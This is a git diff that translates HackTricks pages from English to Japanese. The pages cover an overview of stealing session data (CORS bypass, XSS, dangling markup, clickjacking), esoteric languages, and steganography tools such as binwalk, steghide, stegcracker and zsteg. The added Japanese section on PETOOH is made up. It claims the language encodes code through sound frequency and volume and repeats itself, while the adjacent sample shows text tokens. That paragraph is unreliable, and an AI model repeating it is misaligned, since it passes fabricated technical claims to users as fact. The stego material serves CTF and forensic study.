[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - -If at some point you find a **web page that presents you sensitive information based on your session**: Maybe it's reflecting cookies, or printing or CC details or any other sensitive information, you may try to steal it.\ -Here I present you the main ways to can try to achieve it: - -* [**CORS bypass**](pentesting-web/cors-bypass.md): If you can bypass CORS headers you will be able to steal the information performing Ajax request for a malicious page. -* [**XSS**](pentesting-web/xss-cross-site-scripting/): If you find a XSS vulnerability on the page you may be able to abuse it to steal the information. -* [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection.md): If you cannot inject XSS tags you still may be able to steal the info using other regular HTML tags. -* [**Clickjaking**](pentesting-web/clickjacking.md): If there is no protection against this attack, you may be able to trick the user into sending you the sensitive data (an example [here](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/stego/esoteric-languages.md b/stego/esoteric-languages.md index 5f8d6eeaa..48c0d3d74 100644 --- a/stego/esoteric-languages.md +++ b/stego/esoteric-languages.md @@ -1,28 +1,26 @@ -# Esoteric languages +# エソテリック言語
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page) +## [エソテリック言語ウィキ](https://esolangs.org/wiki/Main\_Page) -Check that wiki to search more esotreic languages +さらなるエソテリック言語を検索するために、このウィキをチェックしてください。 ## Malbolge - ``` ('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}= ``` - [http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl) ## npiet @@ -32,7 +30,6 @@ Check that wiki to search more esotreic languages [https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php) ## Rockstar - ``` Midnight takes your heart and your soul While your heart is as high as your soul @@ -42,7 +39,7 @@ Give back your heart Desire is a lovestruck ladykiller -My world is nothing +My world is nothing Fire is ice Hate is water Until my world is Desire, @@ -61,11 +58,19 @@ Take it to the top Whisper my world ``` - {% embed url="https://codewithrockstar.com/" %} ## PETOOH +PETOOHは、プログラミング言語の一種であり、エスパーント語とも呼ばれます。この言語は、音声の周波数と音量を使用してコードを表現します。PETOOHのコードは、音声のパターンと音の長さに基づいて解釈されます。 + +PETOOHは、非常に奇妙で理解しにくい言語ですが、ステガノグラフィー(隠し情報の埋め込み)のために使用されることもあります。PETOOHを使用して、テキストやファイルに秘密のメッセージを埋め込むことができます。 + +PETOOHのコードは、通常のプログラミング言語とは異なるため、解読するのは困難です。しかし、PETOOHの解読には、音声の周波数と音量を分析するスキルが必要です。 + +PETOOHを使用したステガノグラフィーの攻撃を防ぐためには、音声の解析やPETOOHのコードの特徴を理解する必要があります。また、PETOOHのコードを解読するためには、音声の周波数と音量を正確に測定する必要があります。 + +PETOOHは、エスパーント語としての特殊な用途に使用されることがありますが、一般的なプログラミング言語とは異なるため、理解するのは困難です。PETOOHを使用したステガノグラフィーの攻撃を防ぐためには、PETOOHのコードの特徴を理解し、音声の解析スキルを磨く必要があります。 ``` KoKoKoKoKoKoKoKoKoKo Kud-Kudah KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah @@ -75,15 +80,14 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO Kukarek ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝したい**ですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/stego/stego-tricks.md b/stego/stego-tricks.md index 03f86171b..e39928974 100644 --- a/stego/stego-tricks.md +++ b/stego/stego-tricks.md @@ -4,145 +4,139 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有**するには、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによるワークフローを簡単に構築し、自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Extracting data from all files +## すべてのファイルからデータを抽出する ### Binwalk -Binwalk is a tool for searching binary files, like images and audio files, for embedded hidden files and data.\ -It can be installed with `apt`, and the [source](https://github.com/ReFirmLabs/binwalk) can be found on Github.\ -**Useful commands**:\ -`binwalk file` : Displays the embedded data in the given file\ -`binwalk -e file` : Displays and extracts the data from the given file\ -`binwalk --dd ".*" file` : Displays and extracts the data from the given file +Binwalkは、画像や音声ファイルなどのバイナリファイルを検索して、埋め込まれた隠しファイルやデータを見つけるためのツールです。\ +`apt`を使用してインストールでき、[ソース](https://github.com/ReFirmLabs/binwalk)はGithubで見つけることができます。\ +**便利なコマンド**:\ +`binwalk file`:指定したファイルに埋め込まれたデータを表示します。\ +`binwalk -e file`:指定したファイルからデータを表示して抽出します。\ +`binwalk --dd ".*" file`:指定したファイルからデータを表示して抽出します。 ### Foremost -Foremost is a program that recovers files based on their headers, footers, and internal data structures. I find it especially useful when dealing with png images. You can select the files that Foremost will extract by changing the config file in **/etc/foremost.conf.**\ -It can be installed with `apt`, and the [source](https://github.com/korczis/foremost) can be found on Github.\ -**Useful commands:**\ -`foremost -i file` : extracts data from the given file. +Foremostは、ヘッダー、フッター、および内部データ構造に基づいてファイルを回復するプログラムです。特にpng画像を扱う際に非常に便利です。Foremostが抽出するファイルを選択するには、**/etc/foremost.conf**の設定ファイルを変更します。\ +`apt`を使用してインストールでき、[ソース](https://github.com/korczis/foremost)はGithubで見つけることができます。\ +**便利なコマンド**:\ +`foremost -i file`:指定したファイルからデータを抽出します。 ### Exiftool -Sometimes, important stuff is hidden in the metadata of an image or file; exiftool can be very helpful to view file metadata.\ -You can get it from [here](https://www.sno.phy.queensu.ca/\~phil/exiftool/)\ -**Useful commands:**\ -`exiftool file` : shows the metadata of the given file +時には、重要な情報が画像やファイルのメタデータに隠されていることがあります。exiftoolは、ファイルのメタデータを表示するのに非常に役立ちます。\ +[ここから](https://www.sno.phy.queensu.ca/\~phil/exiftool/)入手できます。\ +**便利なコマンド**:\ +`exiftool file`:指定したファイルのメタデータを表示します。 ### Exiv2 -A tool similar to exiftool.\ -It can be installed with `apt`, and the [source](https://github.com/Exiv2/exiv2) can be found on Github.\ -[Official website](http://www.exiv2.org/)\ -**Useful commands:**\ -`exiv2 file` : shows the metadata of the given file +exiftoolに似たツールです。\ +`apt`を使用してインストールでき、[ソース](https://github.com/Exiv2/exiv2)はGithubで見つけることができます。\ +[公式ウェブサイト](http://www.exiv2.org/)\ +**便利なコマンド**:\ +`exiv2 file`:指定したファイルのメタデータを表示します。 ### File -Check out what kind of file you have +どの種類のファイルかを確認してください。 ### Strings -Extract strings from the file.\ -Useful commands:\ -`strings -n 6 file`: Extract the strings with min length of 6\ -`strings -n 6 file | head -n 20`: Extract first 20 strings with min length of 6\ -`strings -n 6 file | tail -n 20`: Extract last 20 strings with min length of 6\ -`strings -e s -n 6 file`: Extract 7bit strings\ -`strings -e S -n 6 file`: Extract 8bit strings\ -`strings -e l -n 6 file`: Extract 16bit strings (little-endian)\ -`strings -e b -n 6 file`: Extract 16bit strings (big-endian)\ -`strings -e L -n 6 file`: Extract 32bit strings (little-endian)\ -`strings -e B -n 6 file`: Extract 32bit strings (big-endian) +ファイルから文字列を抽出します。\ +便利なコマンド:\ +`strings -n 6 file`:最小長さ6の文字列を抽出します。\ +`strings -n 6 file | head -n 20`:最小長さ6の最初の20個の文字列を抽出します。\ +`strings -n 6 file | tail -n 20`:最小長さ6の最後の20個の文字列を抽出します。\ +`strings -e s -n 6 file`:7ビットの文字列を抽出します。\ +`strings -e S -n 6 file`:8ビットの文字列を抽出します。\ +`strings -e l -n 6 file`:16ビットの文字列(リトルエンディアン)を抽出します。\ +`strings -e b -n 6 file`:16ビットの文字列(ビッグエンディアン)を抽出します。\ +`strings -e L -n 6 file`:32ビットの文字列(リトルエンディアン)を抽出します。\ +`strings -e B -n 6 file`:32ビットの文字列(ビッグエンディアン)を抽出します。 -### cmp - Comparison - -If you have some **modified** image/audio/video, check if you can **find the exact original one** on the internet, then **compare both** files with: +### cmp - 比較 +**変更された**画像/音声/ビデオがある場合、インターネット上で**元のファイルを正確に見つける**ことができるかどうかを確認し、次のコマンドで両方のファイルを**比較**します。 ``` cmp original.jpg stego.jpg -b -l ``` +## テキストから隠されたデータを抽出する -## Extracting hidden data in text +### スペースに隠されたデータ -### Hidden data in spaces - -If you find that a **text line** is **bigger** than it should be, then some **hidden information** could be included inside the **spaces** using invisible characters.󐁈󐁥󐁬󐁬󐁯󐀠󐁴󐁨\ -To **extract** the **data**, you can use: [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) +もし、**テキストの行**が予想よりも**大きい**場合、見えない文字を使って**スペース**の中に**隠された情報**が含まれている可能性があります。󐁈󐁥󐁬󐁬󐁯󐀠󐁴󐁨\ +データを**抽出**するには、次のリンクを使用できます:[https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も**高度な**コミュニティツールによって強化されたワークフローを簡単に構築し、自動化することができます。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Extracting data from images +## 画像からデータを抽出する ### identify -[GraphicMagick](https://imagemagick.org/script/download.php) tool to check what kind of image a file is. Also checks if the image is corrupted. - +[GraphicMagick](https://imagemagick.org/script/download.php)ツールを使用して、ファイルがどの種類の画像であるかを確認します。また、画像が破損しているかどうかも確認します。 ``` ./magick identify -verbose stego.jpg ``` - -If the image is damaged, you may be able to restore it by simply adding a metadata comment to it (if it's very badly damaged this won't work): - +もし画像が損傷している場合、メタデータコメントを追加することで復元することができるかもしれません(非常にひどく損傷している場合はこれは機能しません)。 ```bash ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ``` - ### Steghide \[JPEG, BMP, WAV, AU] -Steghide is a steganography program that hides data in various kinds of image and audio files. It supports the following file formats : `JPEG, BMP, WAV and AU`. It’s also useful for extracting embedded and encrypted data from other files.\ -It can be installed with `apt`, and the [source](https://github.com/StefanoDeVuono/steghide) can be found on Github.\ -**Useful commands:**\ -`steghide info file` : displays info about whether a file has embedded data or not.\ -`steghide extract -sf file [--passphrase password]` : extracts embedded data from a file \[using a password] +Steghideは、さまざまな種類の画像や音声ファイルにデータを隠すステガノグラフィープログラムです。サポートされているファイル形式は、`JPEG、BMP、WAV、AU`です。また、他のファイルから埋め込まれた暗号化されたデータを抽出するのにも役立ちます。\ +`apt`を使用してインストールでき、[ソース](https://github.com/StefanoDeVuono/steghide)はGithubで見つけることができます。\ +**便利なコマンド:**\ +`steghide info file`:ファイルに埋め込まれたデータの有無についての情報を表示します。\ +`steghide extract -sf file [--passphrase password]`:ファイルから埋め込まれたデータを抽出します \[パスワードを使用して] -You can also extract content from steghide using the web: [https://futureboy.us/stegano/decinput.html](https://futureboy.us/stegano/decinput.html) +また、ウェブを使用してsteghideからコンテンツを抽出することもできます:[https://futureboy.us/stegano/decinput.html](https://futureboy.us/stegano/decinput.html) -**Bruteforcing** Steghide: [stegcracker](https://github.com/Paradoxis/StegCracker.git) `stegcracker []` +**Steghideのブルートフォース攻撃**: [stegcracker](https://github.com/Paradoxis/StegCracker.git) `stegcracker []` ### Zsteg \[PNG, BMP] -zsteg is a tool that can detect hidden data in png and bmp files.\ -To install it : `gem install zsteg`. The source can also be found on [Github](https://github.com/zed-0xff/zsteg)\ -**Useful commands:**\ -`zsteg -a file` : Runs every detection method on the given file\ -`zsteg -E file` : Extracts data with the given payload (example : zsteg -E b4,bgr,msb,xy name.png) +zstegは、pngおよびbmpファイルに隠されたデータを検出するツールです。\ +インストール方法:`gem install zsteg`。ソースは[Github](https://github.com/zed-0xff/zsteg)でも見つけることができます。\ +**便利なコマンド:**\ +`zsteg -a file`:指定したファイルに対してすべての検出方法を実行します。\ +`zsteg -E file`:指定したペイロードでデータを抽出します(例:zsteg -E b4,bgr,msb,xy name.png) -### stegoVeritas JPG, PNG, GIF, TIFF, BMP +### stegoVeritas JPG、PNG、GIF、TIFF、BMP -Capable of a wide variety of simple and advanced tricks, this tool can check file metadata, create transformed images, brute force LSB, and more. Check out `stegoveritas.py -h` to read about its full capabilities. Execute `stegoveritas.py stego.jpg` to run all checks. +さまざまなシンプルなトリックや高度なトリックが可能なこのツールは、ファイルのメタデータをチェックしたり、変換された画像を作成したり、LSBをブルートフォースしたりすることができます。その全ての機能については、`stegoveritas.py -h`を参照してください。すべてのチェックを実行するには、`stegoveritas.py stego.jpg`を実行します。 ### Stegsolve -Sometimes there is a message or a text hidden in the image itself that, in order to view it, must have color filters applied, or some color levels changed. Although you can do that with something like GIMP or Photoshop, Stegsolve makes it easier. It's a small Java tool that applies many useful color filters on images; In CTF challenges, Stegsolve is often a real timesaver.\ -You can get it from [Github](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)\ -To use it, just open the image and click on the `<` `>` buttons. +画像自体にメッセージやテキストが隠されており、それを表示するためには、カラーフィルタを適用したり、カラーレベルを変更したりする必要がある場合があります。GIMPやPhotoshopのようなツールを使用してもできますが、Stegsolveを使用すると簡単になります。これは、画像に多くの便利なカラーフィルタを適用する小さなJavaツールです。CTFの課題では、Stegsolveは本当に時間を節約することがよくあります。\ +[Github](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)から入手できます。\ +使用するには、画像を開き、`<` `>`ボタンをクリックします。 ### FFT -To find hidden content using Fast Fourier T: +Fast Fourier Tを使用して隠されたコンテンツを検出するには: * [http://bigwww.epfl.ch/demo/ip/demos/FFT/](http://bigwww.epfl.ch/demo/ip/demos/FFT/) * [https://www.ejectamenta.com/Fourifier-fullscreen/](https://www.ejectamenta.com/Fourifier-fullscreen/) @@ -151,21 +145,21 @@ To find hidden content using Fast Fourier T: ### Stegpy \[PNG, BMP, GIF, WebP, WAV] -A program for encoding information in image and audio files through steganography. It can store the data as either plaintext or encrypted.\ -Find it on [Github](https://github.com/dhsdshdhk/stegpy). +ステガノグラフィを使用して画像や音声ファイルに情報をエンコードするためのプログラムです。データは平文または暗号化された形式で保存することができます。\ +[Github](https://github.com/dhsdshdhk/stegpy)で入手できます。 ### Pngcheck -Get details on a PNG file (or even find out it's actually something else!).\ -`apt-get install pngcheck`: Install the tool\ -`pngcheck stego.png` : Obtain info about the PNG +PNGファイルの詳細を取得します(または実際には別のファイルであることを確認します)。\ +`apt-get install pngcheck`:ツールをインストールします。\ +`pngcheck stego.png`:PNGに関する情報を取得します。 -### Some other image tools worth mentioning +### その他の言及に値する画像ツール * [http://magiceye.ecksdee.co.uk/](http://magiceye.ecksdee.co.uk/) * [https://29a.ch/sandbox/2012/imageerrorlevelanalysis/](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) -## Extracting data from audios +## オーディオからデータを抽出する ### [Steghide \[JPEG, BMP, WAV, AU\]](stego-tricks.md#steghide) @@ -173,60 +167,57 @@ Get details on a PNG file (or even find out it's actually something else!).\ ### ffmpeg -ffmpeg can be used to check the integrity of audio files, reporting various information about the file, as well as any errors it finds.\ +ffmpegは、オーディオファイルの整合性をチェックし、ファイルに関するさまざまな情報やエラーを報告するために使用できます。\ `ffmpeg -v info -i stego.mp3 -f null -` ### Wavsteg \[WAV] -WavSteg is a Python3 tool that can hide data, using least significant bit, in wav files. It can also search for, and extract, data from wav files.\ -You can get it from [Github](https://github.com/ragibson/Steganography#WavSteg)\ -Useful commands:\ -`python3 WavSteg.py -r -b 1 -s soundfile -o outputfile` : Extracts to an output file (taking only 1 lsb)\ -`python3 WavSteg.py -r -b 2 -s soundfile -o outputfile` : Extracts to an output file (taking only 2 lsb) +WavStegは、wavファイルに最下位ビットを使用してデータを隠すことができるPython3ツールです。また、wavファイルからデータを検索および抽出することもできます。\ +[Github](https://github.com/ragibson/Steganography#WavSteg)から入手できます。\ +便利なコマンド:\ +`python3 WavSteg.py -r -b 1 -s soundfile -o outputfile`:出力ファイルに抽出します(最下位ビットのみを取得)\ +`python3 WavSteg.py -r -b 2 -s soundfile -o outputfile`:出力ファイルに抽出します(最下位2ビットのみを取得) ### Deepsound -Hide, and check for, information encrypted with AES-265 in sound files. Download from [the oficial page](http://jpinsoft.net/deepsound/download.aspx).\ -To search for hidden info, simply run the program and open the sound file. If DeepSound finds any data hidden, you'll need to provide the password to unlock it. +音声ファイルにAES-265で暗号化された情報を隠したり、その情報を検索したりすることができます。[公式ページ](http://jpinsoft.net/deepsound/download.aspx)からダウンロードしてください。\ +隠された情報を検索するには、プログラムを実行して音声ファイルを開きます。DeepSoundが隠されたデータを見つけた場合、解除するためのパスワードが必要です。 ### Sonic visualizer -Sonic visualizer is a tool for viewing and analyzing the contents of audio files. It can be very helpful when facing audio steganography challenges; you can reveal hidden shapes in audio files that many other tools won't detect.\ -If you're stuck, always check the spectrogram of the audio. [Offical Website](https://www.sonicvisualiser.org/) +Sonic visualizerは、オーディオファイルの内容を表示および分析するためのツールです。オーディオステガノグラフィの課題に直面した場合、他の多くのツールでは検出できないオーディオファイルの隠れた形状を明らかにすることができます。\ +行き詰まった場合は、常にオーディオのスペクトログラムをチェックしてください。[公式ウェブサイト](https://www.sonicvisualiser.org/) -### DTMF Tones - Dial tones +### DTMF Tones - ダイヤル音 * [https://unframework.github.io/dtmf-detect/](https://unframework.github.io/dtmf-detect/) * [http://dialabc.com/sound/detect/index.html](http://dialabc.com/sound/detect/index.html) +## その他のトリック -## Other tricks - -### Binary length SQRT - QR Code - -If you receive binary data with an SQRT length of an entire number, it could be some kind of QR code: +### 2進数の長さSQRT - QRコード +もし、受け取ったバイナリデータの長さが整数の平方根である場合、それはQRコードの一種かもしれません。 ``` import math math.sqrt(2500) #50 ``` +バイナリの「1」と「0」を適切な画像に変換するには、[https://www.dcode.fr/binary-image](https://github.com/carlospolop/hacktricks/tree/32fa51552498a17d266ff03e62dfd1e2a61dcd10/binary-image/README.md)を使用します。 -To convert binary "1"s and "0"s to a proper image: [https://www.dcode.fr/binary-image](https://github.com/carlospolop/hacktricks/tree/32fa51552498a17d266ff03e62dfd1e2a61dcd10/binary-image/README.md)\ -To read a QR code: [https://online-barcode-reader.inliteresearch.com/](https://online-barcode-reader.inliteresearch.com/) +QRコードを読み取るには、[https://online-barcode-reader.inliteresearch.com/](https://online-barcode-reader.inliteresearch.com/)を使用します。 -### Braile +### ブライユ [https://www.branah.com/braille-translator](https://www.branah.com/braille-translator\)) -## **References** +## **参考文献** * [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) * [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) ![](<../.gitbook/assets/image (9) (1) (2).png>) -\ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。 +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -234,10 +225,10 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 